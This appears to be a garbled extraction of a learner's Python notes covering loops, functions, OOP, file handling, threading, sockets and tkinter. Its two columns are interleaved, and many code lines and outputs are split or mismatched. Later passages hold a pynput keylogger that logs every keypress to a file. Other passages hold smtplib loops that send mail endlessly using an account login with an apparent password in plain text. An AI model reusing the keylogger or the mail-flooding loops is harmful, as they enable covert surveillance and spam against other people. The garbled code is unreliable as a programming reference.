a = ['enter','your','name'] a = ['enter','your','name']
b = 'name' in a b = 'nmr' in a
print(b) print(b)
:- True :- False
a = ['enter','your','name'] a = ['enter','your','name']
b = input('enter your name:') b = input('enter your name: ')
c = b in a c = b in a
print(c) print(c)
enter entar
:- True :- False
a = [10,20,30,'40'] a = [10,20,30,'40']
b = input('enter your Value: ') b = int(input('enter your Value: '))
c = b in a c = b in a
print(c) print(c)
11 10
:- False :- True
a = ['enter','your','name'] a = [10,20,30]
b = 245 not in a b = 10 not in a
print(b) print(b)
:- True :- False
Bitwise-Operator
:- 8 0b1010 0b1100
a = 23 | :- Bitwise or
b = 20
c = a&b a = 12
print(c) b = 10
c = a|b
print(c)
:- 20
:- 14
a = 23 ^ :- Bitwise exclusive or xor
b = 30
c = a|b a = 12
print(c) b = 10
c = a^b
:- 31 print(c)
:- 6
a = 20 ~ :- Bitwise Inversion
b= 26
c = a^b a = 10
print(c) b = ~a
print(b)
:- 14
:- -11
a = -10
b = ~a
print(b)
:- 9
:- 30
a = 15 a = 23
b = a<<3 b = a<<1
print(b) print(b)
:- 120 :- 46
a = 23 a = 23
b = a<<2 b = a<<3
print(b) print(b)
:- 92 :- 184
a = 0 a = -9
b = a<<1 b = a<<1
print(b) print(b)
:- 0 :- -18
>> :- Right-shift :- half the a = 23
value b = a >> 2
print(b)
a = 23
b = a >>1 :- 5
print(b)
:- 11
a = 30 a = 30
b = a >> 1 b = a >> 2
print(b) print(b)
:- 15 :- 7
a = 30
b = a >> 3
print(b)
:- 3
Conditions(if,elif,else,nested-if)
If :- if condition is True then it will execute if 4 > 5:
print('5 is greater than 4')
if 4 < 5:
print('5 is greater than 4') Note:- if is False then it will not Execute.
:- 5 is greater than 4
Elif :- we will use elif statement more than one If-if :- It will print all True Conditions
condition we have
a = 3 a = 3
b = 4 b = 4
c = 5 c = 5
:- It is Odd
:- :-
Enter your age:- 5 Enter your age:- 19
Your not Eligible for Voting Your are eligible for Voting
if a < b: if a < b:
print('a is smaller than b') print('a is smaller than b')
print('Done') print('Done')
else: else:
print('a is greater than b') print('a is greater than b')
:- :-
Enter your age 101 Enter your age 19
You are not eligible for voting You are eligible for voting
Elif :- if one condition if False then elif is True Run. if 2>3:
print('2 is less than 3')
if 2>3: elif 3>4:
print('2 is less than 3') print('3 is less than 4')
elif 3 < 4: elif 4<5:
print('3 is less than 4') print('4 is less than 5')
elif 4>5: elif 6 < 7:
print('4 is less than 5') print('6 is less than 7')
elif 6 > 7: else:
print('6 is less than 7') print('all conditions are false')
:-
else: 4 is less than 5
print('all conditions are false')
:-
3 is less than 4
a = int(input('enter your value 1-7 ')) a = int(input('enter your value 1-7 '))
if a == 1: if a == 1:
print('Sunday') print('Sunday')
elif a == 2: elif a == 2:
print('Monday') print('Monday')
elif a == 3: elif a == 3:
print('Tuesday') print('Tuesday')
elif a == 4: elif a == 4:
print('Wednesday') print('Wednesday')
elif a == 5: elif a == 5:
print('Thursday') print('Thursday')
elif a == 6: elif a == 6:
print('Friday') print('Friday')
elif a==7: elif a==7:
print('Saturday') print('Saturday')
else: else:
print('You have entered invalid Number') print('You have entered invalid Number')
enter your value 1-7 1 enter your value 1-7 8
Sunday You have entered invalid Number
:- :-
enter the value 5 enter the value 0
Positive Number zero number
if 2>3: if 2<3:
print('2 is less than 3') print('2 is less than 3')
if 6<5: if 6>5:
print('5 is less than 6') print('5 is less than 6')
if 6<7: if 6>7:
print('6 is less than 7') print('6 is less than 7')
else: else:
print('Not value') print('6 is not greater than
7')
:- else:
Not value print('Not value')
:-
2 is less than 3
5 is less than 6
6 is not greater than 7
if 2<3:
print('2 is less than 3')
if 6<5:
print('5 is less than 6')
if 6<7:
print('6 is less than 7')
if 7<8:
print('7 is less than 8')
else:
print('7 is not greater than 8')
else:
print('6 is not greater than 7')
else:
print('6 is not greater than 5')
else:
print('Not value')
:-
2 is less than 3
6 is not greater than 5
Loops
While-Loop
For-Loop
a = 0 # Initialize 1
# 2
print('Numbers','\t','Squares')
while a < 10: # Conditions
4
a+=1 5
if a==3: 6
continue 7
print(a) 8
9
10
a = 0 0
while a < 5: 1
if a == 3:
break
2
print(a)
a+=1
Nested-while-Loop
Initialize
while condition: (Outer-Loop (Row) -> It doesn’t print anything)
Initialize
while condition: (Inner-Loop (Column) -> It prints in column)
statement
Increment/Decrement
Increment/Decrement
i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= i: #Column 1234
print(j, end='') 12345
j += 1
print() Note :- If all values same at the column side
i += 1 then use Column-Loop(Inner-Loop)
i = 5 55555
while i >= 1: #Row 4444
j = 1 333
while j <= i: #Column 22
print(i, end='') 1
j += 1
print() Note :- If all values same at the Row side
i -= 1 then use Row Loop Values in Column-Loop.
i = 5 12345
while i >= 1: #Row 1234
j = 1 123
while j <= i: #Column 12
print(j, end='') 1
j += 1
print()
i -= 1
i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= i: #Column 4444
print(i, end='') 55555
j += 1
print()
i += 1
i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= i: #Column ****
print(‘*’,end=’’) *****
j += 1
print()
I += 1
i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= 5 - i: #Column 1234
print(' ',end='') 12345
j += 1
k = 1
while k <= i: #Column
print(k, end='')
k += 1
print()
i += 1
i = 5 5
while i >= 1: #Row 44
j = 1 333
while j <= i - 1: #Column 2222
print(' ',end='') 11111
j += 1
k = 1
while k <= 6 - i: #Column
print(i, end='')
k += 1
print()
i -= 1
i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= 5 - i: #Column 4444
print(' ', end='') 55555
j += 1
k = 1
while k <= i: #Column
print(i, end='')
k += 1
print()
i += 1
i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= 5 - i: #Column ****
print(' ',end='') *****
j += 1
k = 1
while k <= i: #Column
print('*', end='')
k += 1
print()
i += 1
For-Loop
Data-Type -> Sequence-DataType:-List,Tuple,String.
a = [12,34,56,78,90] 12
for i in a:
print(i)
34
if i == 56: 56
break
a = [12,34,56,78,90] 12
for i in a:
34
if i == 56:
break
print(i)
a = [12,34,56,78,90] 12
for i in a:
34
if i == 56:
continue 78
print(i) 90
a = [12,34,56,78,90] 12
for i in a:
34
if i == 56:
pass 56
print(i) 78
90
Range :-
for variable in range(1,11): for variable in range(1,1):
print(variable, end=’ ‘) print(‘*’)
It will print nothing
1 2 3 4 5 6 7 8 9 10
It will not print last value. It will print less one from the last value.
for i in range (10,0,-1): 10
print(i)
9
8
7
6
5
4
3
2
1
for i in range (5): 0
print(i)
1
2
3
4
a = [20,21,61,68] 20
for i in a:
if i == 20:
print(i)
a = [20,21,61,68] 20
for i in a:
if i == 20 or i == 68: 68
print(i)
a = ['h','a','r','i','s','h']
for i in a:
harish
print(i , end='')
a = 'harish' harish
for i in a:
print(i, end='') Loop-Terminated
else:
print()
print('Loop-Terminated')
for i in range(2,21,2): 2
print(i)
4
6
8
10
12
14
16
18
20
for i in range(1,21,2): 1
print(i)
3
5
7
9
11
13
15
17
19
Nested-for-Loop
for row in range(1,6):
for column in range(1,6):
print(‘ ’, end=’’)
print()
for i in range(1,6): *
for j in range(1,i+1):
**
print('*', end='')
print() ***
****
*****
for i in range (1,6): 1
for j in range (1, i+1):
22
print(i, end='')
print() 333
4444
55555
for i in range (5,0,-1): *****
for j in range (1, i+1):
****
print('*', end='')
print() ***
**
*
for i in range (5,0,-1): 12345
for j in range (1, i+1):
1234
print(j, end='')
print() 123
12
1
n = 6 *
for i in range(1,n):
**
for j in range(1,n-i):
print(' ',end='') ***
for k in range(1,i+1): ****
print('*', end='') *****
print()
n = 6 *
m = n+1
**
for i in range(1,m):
for j in range(1,m-i): ***
print(' ',end='') ****
for k in range(1,i+1): *****
print('*', end='')
print()
******
n = 6 *****
for i in range(1,n):
****
for j in range(1,i):
print(' ',end='') ***
for k in range(1,n-i+1): **
print('*', end=' ') *
print()
for i in range(1,6): 1
for j in range(1,6-i):
12
print(' ',end='')
for k in range(1,i+1): 123
print(k, end=' ') 1234
print() 12345
for i in range(1,6): 1
for j in range(1,6-i):
22
print(' ',end='')
for k in range(1,i+1): 333
print(i, end=' ') 4444
print() 55555
for i in range(1,6): *
for j in range(1,6-i):
**
print(' ', end='')
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for i in range(1,6): 12345
for j in range(1,i):
1234
print(' ',end='')
for k in range(1,7-i): 123
print(k, end=' ') 12
print() 1
for j in range(1,4):
n = int(input('Enter the pin : '))
if n == password:
print('Pin-Done')
break
else:
print('BLOCK')
for i in range(1,6): *
for j in range(1,6-i):
**
print(' ', end='')
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for l in range(1,6):
****
for m in range(1,1+l):
print(' ', end='') ***
for n in range(1,6-l): **
print('*', end=' ') *
print()
for i in range(5,0,-1): 5
for j in range(1,i):
44
print(' ', end='')
for k in range(1,7-i): 333
print(i, end=' ') 2222
print() 11111
for i in range(1,6):
for j in range(1,i):
11111
print(' ',end='') 2222
for k in range(1,7-i): 333
print(i, end=' ') 44
print()
5
for i in range(0,7):
for j in range(0,7):
if i+j == 3 or i - j == 3 or j - i == 3 or i + j == 9:
print('*',end='')
else:
print(' ', end='')
print()
*
**
* *
* *
* *
**
*
Functions
Functions :- A function is a block of code which only runs when it is called
anywhere even to another file.
def name():
block of code
def name(): :-
print('This is a Function')
This is a Function
name()
def inp(): :-
a = input('Enter the name ')
Enter the name 5
print(a)
inp() 5
for i in range(5): 0
print(i)
name()
1
2
3
4
This is a Function
for i in range(5): This is a Function
name()
This is a Function
This is a Function
This is a Function
This is a Function
def add(a,b,c): 36
d = a+b+c
print(d)
add(10,12,14)
def add(a,b,c): 21
d = a+b+c
print(d)
add(6,7,8)
def add(a,b,c): 10 14 2
print(a,b,c)
26
d = a+b+c
print(d)
add(10,14,2)
def add(a=5,b=6,c=0): 31
d = a+b+c
print(d)
add(10,14,7) #Priority
def add(a,c,b=9): 10 9 5
print(a,b,c)
d = a+b+c
24
print(d)
add(10,5)
def add(c,a=5,b=6): 10 14 6
print(c,a,b)
d = a+b+c
30
print(d)
add(10,14)
def add(c,a=5,b=6): 10 14 7
print(c,a,b)
31
d = a+b+c
print(d)
add(10,14,7)
def add(a,b,c): 27
d = a+b+c
print(d)
add(c=8,b=9,a=10)
[Link] [Link]
def name():
print('This is a Function') import Functions
name() [Link]()
This is a Function
This is a Function
return:-
def name():
block of code
return result
Return store the result of a function code and in a name of a function and
make it variable.
Nothing will execute below of a return. Even in nested functions.
return makes function a Variable.
Nested-Functions
def calculator(a,b,c): 3
d = a+b+c
9
print(d)
def add(d,e):
a2 = d+e
print(a2)
add(5,4)
calculator(1,1,1)
def calculator(a,b,c): 3
d = a+b+c
11
print(d)
def add(d,e):
a2 = d+e
return a2
print(add(5,6))
calculator(1,1,1)
Lambda :-
A lambda function can take any number of arguments, but can only have
one expression.
Functions :- map,reduce,filter.
Map :- map is a function which iterate every-item of a sequence Data-Type.
Like Tuple,List,String.
Variable = map(function, variable)
Variable1 = list(Variable)
a = [1,2,3,4] [1, 4, 9, 16]
def abc(i):
a1 = i*i
return a1
a2 = map(abc,a)
a3 = list(a2)
print(a3)
a2 = list(map(d,a))
print(a2)
Filter :-
a = [4,5,6,7,8,9] [4, 5, 6, 7]
def abc(i):
a1 = i<= 7
return a1
a2 = list(filter(abc,a))
print(a2)
a = [4,5,6,7,8,9] [4, 5, 6, 7]
abc = lambda i: i <= 7
a2 = list(filter(abc,a))
print(a2)
a = [4,5,6,7,8,9] [4, 6, 8]
abc = lambda i: i %2== 0
a2 = list(filter(abc,a))
print(a2)
*args or *anyname :- You can use any name. return willl not work on *args
def name(*args): abc dcd fdg 65 98
print(*args)
name('abc','dcd','fdg',65,98)
Variable in a function can not work outside of a functions and the inside
variable called local-variable.
def name():
a = 56 #local variable
b = 78
c = a+b
print(c)
name()
print(a)#wrong not work
a1 = 1 3
def name():
global a
1
a = 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
a1 = 1 3
def name():
1
global a,b
a = 1 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
print(b)
a1 = 1 3
def name():
a = 1
b = 1
c = a+b+a1
print(c)
name()
def name(): 2
a = 1
3
b = 1
c = a+b
print(c)
def nickname():
d = 2
e = d+a
print(e)
nickname()
name()
OOPS
The main concept of OOPs is to bind the data and the functions that work on
that together as a single unit so that no other part of the code can access this
data.
self :- it help function argument to get the value. It is must.
Class :- It can store multiple objects or methods information. It is a BluePrint.
class Cat:
object or method
object:- state, Behaviour, Identiy
state :- color,bread,age
Behaviour :- eating or sleeping
Identity :- name
Creating-Multiple-Objects:
Variable = class()
class anything:
def anything(self): -> Method :- inside information is called Objects.
[Link]-name or different-name = must be same in a function
class cat: abc
def info(self, name, color, work):
red
[Link] = name
[Link] = color sleep
[Link] = work
def info1(self):
print([Link])
print([Link])
print([Link])
a = cat()
[Link]('abc','red','sleep')
a.info1()
def info1(self):
print([Link])
print([Link])
print([Link])
a = cat()
[Link]('abc','red','sleep')
a.info1()
a = cat()
[Link]('abc','red','sleep')
a = mobile()
[Link]('realme','Black',9000,'Personal')
def info1(self):
print('Name:',a1)
print('Color:',[Link])
print('Price:',[Link])
print('Work:',[Link])
Constructor :- Don’t need to call the function. It calls when object calls or
variable. __init__(self), __init__(self,att1,att2….more)
One class has one contructor. Lastes one override
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
[Link] = name
[Link] = address
[Link] = work
print([Link],[Link],[Link])
a = company('Harish','Indirapuram','Hacker')
def __init__(self):
print('It is Override')
a = company()
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
Hello word!
[Link] = name #Objects
[Link] = address Salary 30000
[Link] = work
print([Link],[Link],[Link])
def info(self):
print('Hello word!')
def info1(self,Salary):
[Link] = Salary
print('Salary',[Link])
a = company('Harish','Indirapuram','Hacker')
[Link]()
a.info1(30000)
a = vehicle()
a.info1('Jaguar','Black',6500,'98565')
a = vehicle('Jaguar','Black',6500,'98565')
a = vehicle()
a.info2('Jaguar','Black',6500,'98565')
a = vehicle('Jaguar','Black',6500,'98565')
Multilevel-Inheritance :-
A—B—C—D
A -> Parent-Class, B,C,D -> Child-Class
class car: 6562
def info(self, name):
656565
[Link] = name
print([Link]) Black
Metro
class bike(car): Audi
def info1(self, name,color):
[Link] = color
print([Link])
[Link](self,name)
class cycle(bike):
def info2(self,name,color,price):
[Link] = price
print([Link])
bike.info1(self,name,color)
class train(cycle):
def info3(self,name,color,price,model):
[Link] = model
print([Link])
cycle.info2(self,name,color,price)
a = train()
a.info3('Metro','Black',656565,6562)
[Link]('Audi')
Hierarchical inheritance
Multiple Child-Class and One-Parent-Class.
Parent-Class
|
| | | |
Child-Class Child-Class Child-Class Child-Class
Function-name = methods
Function-attributes = variable, attributes, function.
Function-call = value, arguments
Class-name = objects.
class Animal: #Object ki information store krta h Harish 656
class.
a = Animal()
[Link]('Harish',656)
a = animal()
[Link]('Dog','black')
print([Link])
a = animal()
[Link]('Dog','black')
class animal: Sparrow
def info(self, name):
Black
[Link] = name
print([Link]) Sparrow
a = Bird()
[Link]('Sparrow')
a.info1('Sparrow','Black')
b = mammal()
[Link]('Elephants')
b.info2('Elephants','hardwork')
c = fish()
c.info3('Tiger',65)
[Link]('Tiger')
d = animal()
[Link]('Zibra')
class Bird(animal):
def info1(self,name,color):
[Link] = color
print([Link])
[Link](self,name)
class mammal(animal):
def info2(self, name,work):
[Link] = work
print([Link])
[Link](self,name)
class fish(mammal):
def info3(self,name,work,age):
[Link] = age
print([Link])
mammal.info2(self,name,work)
a = fish()
a.info3('Tiger','Carnivorous','Hunt')
class animal: 65
def info(self, name):
[Link] = name
Carnivorous
print([Link]) Tiger
class Bird(animal):
def info1(self,name,color):
[Link] = color
print([Link])
[Link](self,name)
class mammal(animal):
def info2(self, name,work):
[Link] = work
print([Link])
[Link](self,name)
class fish(mammal):
def info3(self,name,work,age):
[Link] = age
print([Link])
mammal.info2(self,name,work)
a = fish()
a.info3('Tiger','Carnivorous',65)
class marketing(Company):
def info2(self, role,name):
[Link] = role
print([Link])
[Link](self, name)
class performance(marketing):
def info3(self, performing,role):
[Link] = performing
marketing.info2(self,role)
a = employee()
a.info1('Harish',56,'Male','Craw')
b = employee()
a.info1('Ravi',65,'Fe-male','Origin')
c = employee()
a.info1('Ajay',98,'Male','Nasscom')
class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
[Link] = work
print(self.name1, self.color1, [Link])
a = Dog()
[Link]('Snale','Black','Bite')
class Dog(cat):
def info(self, name1,color1,work):
self.name1 = name1
self.color1 = color1
[Link] = work
print(self.name1, self.color1, [Link])
super().info('abc','Red')
a = Dog()
[Link]('Snale','Black','Bite')
class cat: abc
def info(self, name,color):
Red
[Link] = name
[Link] = color dog red bark
print([Link]) Sparrow
print([Link]) Black
class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
[Link] = work
print(self.name1, self.color1, [Link])
class bird(Dog):
def info(self, name2,color2):
super().info('dog','red','bark')
self.name2 = name2
self.color2 = color2
print(self.name2)
print(self.color2)
a = bird()
[Link]('Sparrow','Black')
a = login()
[Link]()
print([Link])
print([Link])
class login: AttributeError: 'login'
def info(self):
object has no attribute
[Link] = 'Harish'
self.__password = '123456' '__password'
a = login()
[Link]()
print([Link])
print(a.__password)
a = login()
[Link]()
a = login()
a.__info()
a = login()
[Link]()
File-Handling :- File handling is an important part of any web application
With the help of file-handling we can create,add,delete the files.
It can not use in image,video, audio.
open()
variable = open(‘[Link]’, ’modes’)
modes :-
Read(r) :- it help to read the file content inside.
Append(a) :- it help to append new data inside a file.
Write(w) :- it help to write and create the file. It doesn’t exist.
Create(x) :- it only creates file.
Delete(w+) :- it help to delete the whole content inside a file.
a = open('[Link]','w') [Link]
[Link]('Hello')
Hello
a = open('[Link]','w') [Link]
[Link]('Hello-world') #it is
override. Hello-world
a = open('[Link]','w') [Link]
[Link]('This is First-line')
[Link]('\nThis is Second-Line') This is First-line
This is Second-Line
a = open('[Link]','a') #it appends [Link]
the text in a file.
[Link]('\nThis is Third-line') This is First-line
[Link]('\nThis is Fourth-Line') This is Second-Line
This is Third-line
This is Fourth-Line
a = open('[Link]','r') #to read the file This is First-line
b = [Link]() This is Second-Line
print(b) This is Third-line
This is Fourth-Line
a = open('[Link]','w')
[Link]('This is First-Line\n'
'This is Second-Line\n'
'This is Third-Line\n'
'This is Fourth-Line\n'
'This is Fifth-Line\n'
'This is Sixth-Line\n'
'This is Seventh-Line\n')
19
a = open('[Link]','r') ['This is First-Line\n', 'This is Second-
print([Link]()) Line\n', 'This is Third-Line\n', 'This is
Fourth-Line\n', 'This is Fifth-Line\n',
'This is Sixth-Line\n', 'This is
Seventh-Line\n', 'This is Eiegth-
Line\n', 'This is Nineth-Line']
a = open('[Link]','r') This is First-Line
for b in a: This is Second-Line
print([Link]()) This is Third-Line
This is Fourth-Line
This is Fifth-Line
This is Sixth-Line
This is Seventh-Line
with open("[Link]", "w") as file: [Link]
[Link]("Hello World!")
Hello World!
import pynput
with Listener(on_press=keylogger) as
listener:
[Link]()
def keylogger(Key):
b = Key
a = open('abc.1txt','a')
[Link](str(b))
[Link]('\n')
with Listener(on_press=keylogger) as
listener:
[Link]()
def add(a,b): 5
print(a+b)
-1
def sub(a,b): 6
print(a-b) 0.6666666666666666
def mul(a,b):
print(a*b)
def div(a,b):
print(a/b)
a = [Link](target=add, args=(2,3))
b = [Link](target=sub, args=(2,3))
c = [Link](target=mul, args=(2,3))
d = [Link](target=div, args=(2,3))
[Link]()
[Link]()
[Link]()
[Link]()
Add 5
def add(a,b):
Sub -1
print('Add',a+b)
Divide 0.6666666666666666
def sub(a,b):
print('Sub',a-b)
def mul(a,b):
return False
def div(a,b):
print('Divide',a/b)
a = [Link](target=add, args=(2,3))
b = [Link](target=sub, args=(2,3))
c = [Link](target=mul, args=(2,3))
d = [Link](target=div, args=(2,3))
[Link]()
[Link]()
[Link]()
[Link]()
def add(a,b):
print(a+b)
def sub(a,b):
for i in range(1,100):
print('Loop',i)
def mul(a,b):
print(a*b)
def div(a,b):
print(a/b)
a = [Link](target=add, args=(2,3))
b = [Link](target=sub, args=(2,3))
c = [Link](target=mul, args=(2,3))
d = [Link](target=div, args=(2,3))
[Link]()
[Link]() #Wait for complete one function then
other will Run
[Link]()
[Link]()
[Link]()
[Link]()
[Link]()
[Link]()
import requests
from bs4 import BeautifulSoup
import html5lib
a = '[Link]
b = [Link](a)
c = BeautifulSoup([Link], 'html5lib')
d = [Link]()
print([Link]())
a = open('[Link]','a')
[Link](str([Link]()))
import smtplib
a = [Link]('[Link]',587)
[Link]()
[Link]('dheerajsack@[Link]','blnyotplpfccrusg')
message = 'hello'
[Link]('dheerajsack@[Link]','sidhart6789@[Link]',mes
sage)
[Link]()
a = [Link]('[Link]',587)
[Link]()
[Link]('dheerajsack@[Link]','blnyotplpfccrusg')
message = 'hello'
while True:
[Link]('dheerajsack@[Link]','sidhart6789@[Link]',mes
sage)
a = [Link]('[Link]',587)
[Link]()
[Link]('dheerajsack@[Link]','blnyotplpfccrusg')
message = 'hello'
while True:
[Link]('dheerajsack@[Link]','sidhart6789@[Link]',mes
sage)
a = [Link]('[Link]',587)
[Link]()
[Link]('dheerajsack@[Link]','blnyotplpfccrusg')
mailid =
['sidhart6789@[Link]','sidhart1267@[Link]','dheerajsack@gmail.
com']
for i in mailid:
message = 'Hey!'
[Link]('dheerajsack@[Link]',i,message)
a = [Link]('[Link]',587)
[Link]()
[Link]('dheerajsack@[Link]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
[Link]('dheerajsack@[Link]',mailid,m)
a = [Link]('[Link]',587)
[Link]()
[Link]('dheerajsack@[Link]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
[Link]('dheerajsack@[Link]',mailid,m)
Socket
A socket is one endpoint of a two way communication link between two
programs running on the network.
Import socket
[Link]
a = [Link]()
[Link](('localhost',1234))
m = 'hello'
m1 = [Link]()
[Link](m1)
[Link]()
[Link]
a = [Link]()
[Link](('localhost',1234))
[Link]() #how many system listen(5 (no. of connection))
msg, addr = [Link]()
while True:
b = [Link](1024)
b1 = [Link]()
if b1 == '':
break
else:
print(b1)
[Link]
a = [Link]()
[Link](('localhost',1234))
while True:
m = input('Enter the message ')
m1 = [Link]()
[Link](m1)
[Link]
a = [Link]()
[Link](('localhost',1234))
[Link]() #how many system listen(5 (no. of connection))
msg, addr = [Link]()
print(addr)
while True:
b = [Link](1024)
b1 = [Link]()
if b1 == '':
break
else:
print(b1)
[Link]
a = [Link](family=socket.AF_INET, type=socket.SOCK_DGRAM)
[Link](('localhost',1234))
while True:
msg, addr = [Link](1024)
msg1 = [Link]()
print(msg1)
if msg1 == '':
break
else:
a1 = input('Message from Server: ')
a2 = [Link]()
[Link](a2,addr)
[Link]
a = [Link](family=socket.AF_INET, type=socket.SOCK_DGRAM)
while True:
a1 = input('Message from Client: ')
a2 = [Link]()
a3 = ('localhost',1234)
[Link](a2,a3)
a4 = [Link](1024)
a5 = a4[0].decode()
if a5 == '':
break
else:
print(a5)
Tkinter
Graphical-User-Interface Geometery-Configuration
a = [Link]()
[Link](‘600x600’) -> Size of the GUI
[Link](‘Title’) -> To name the GUI
[Link](bg = ‘black’) -> To change the background-Color
def add():
c = 9+10
print(c)
[Link](x=150,y=200)
[Link](x=0, y=0)
[Link](x=40, y=60)
[Link](x=130, y=170)
[Link](x=220, y=280)
[Link]()
import tkinter
a = [Link]()
[Link]('600x600')
[Link]('Title')
[Link](bg='black')
c = [Link]()
[Link](x=0, y=0)
[Link](x=0,y=40)
[Link](x=0,y=80)
[Link](x=0,y=120)
[Link]()